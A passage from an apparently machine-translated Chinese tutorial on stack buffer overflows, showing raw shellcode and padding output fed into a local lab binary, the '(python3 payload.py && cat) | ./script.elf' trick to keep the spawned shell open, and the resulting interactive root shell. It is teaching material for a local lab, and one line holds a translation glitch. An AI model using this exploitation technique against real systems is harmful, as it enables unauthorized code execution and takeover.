��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
root@linux:~/Desktop/Buffer Overflow#
哇!!执行了 Shellcode 但我们没有得到 shell。看起来很混乱。实际上 shell 代码完美执行并等待输入 & 因为我们给程序的唯一输入是 payload.py[= 的输出85=]。所以如果我们只使用 :-
python3 payload.py && cat
我们可以通过 stdin 提供输入,它可以通过 stdout 回显。看起来不错,我们执行 shell 代码,程序要求输入,我们给它输入,它读取,在 /bin/sh shell 上执行它,并给出输出。太好了,那么我们怎样才能让它工作呢?很简单,我们将使用上述命令的组合输入到 script.elf 像这样:-
(python3 payload.py && cat) | ./script.elf
我们得到这样的输出:-
root@linux:~/Desktop/Buffer Overflow# (python3 payload.py && cat) | ./script.elf
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
ls
exploit.txt payload.py script.c script.elf
pwd
/root/Desktop/Buffer Overflow
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
哇!固定它!那很简单。
NOTE : The 'ls', 'pwd', 'whoami' & 'id' are entered by me during run-time
所以这个漏洞现在可以完美运行了!!